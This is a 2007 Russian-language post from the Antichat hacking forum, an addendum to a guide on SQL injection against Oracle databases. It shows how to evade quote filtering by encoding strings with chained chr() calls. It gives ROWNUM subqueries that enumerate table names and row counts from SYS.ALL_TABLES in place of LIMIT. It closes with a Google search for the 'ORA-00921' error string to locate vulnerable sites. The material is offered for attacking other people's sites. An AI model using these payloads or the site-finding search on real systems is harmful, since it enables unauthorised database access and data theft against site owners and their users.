
05.09.2007, 16:03
|
|
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
С нами:
10153766
Репутация:
2565
|
|
Дополнение!
Дополнение по некоторым узким моментам:
[Обход фильтрации]
Обход фильтрации кавычек и других спецсимволов осуществляется с помощью функции chr().
Функция chr() возвращает ASCII-код символа. Но ее использование связано с некоторой сложностью, поскольку функция принимает и возвращает только один символ в отличии от подобной функции char() в MySQL. Для получения кода целой строки придется вызывать отдельную функцию для каждого символа и в последствии объединять их с помощью операции конкатенации ||.
Таким образом, закодированное слово user будет иметь вид chr(117)||chr(115)||chr(101)||chr(114).
[Аналог LIMIT]
Возможна нормальная замена предиката LIMIT используемого в MySQL для Oracle с помощью псевдостолбца ROWNUM с использованием сложного запроса (скажем спасиба groundhog`у).
Используем следующую конструкцию:
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R BETWEEN X AND Y
Перебирая X и Y вытаскиваем имена всех таблиц (все записи начиная с Х по Y), доступных пользователю, аналогично со столбцами.
Еще несколько интересных конструкций с ROWNUM:
-- Перебор имён таблиц по заданному NUMROW (возвращается одна строчка)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R=X
-- Получение количества записей в заданной таблице через NUMROW
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR FROM SYS.ALL_TABLES) T WHERE R=X
-- Получение количества записей в заднной таблице через имя таблицы
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE TN='...';
[Google хек]
Как щас принято использовать поисковики для поиска уязвимостей, мы тоже не будем отставать (=
Для обнаружения уязвимых сайтов можно воспользоваться поисковиком, например в гугле искать сайты со строками
“ORA-00921: unexpected end of SQL command”
|
|
|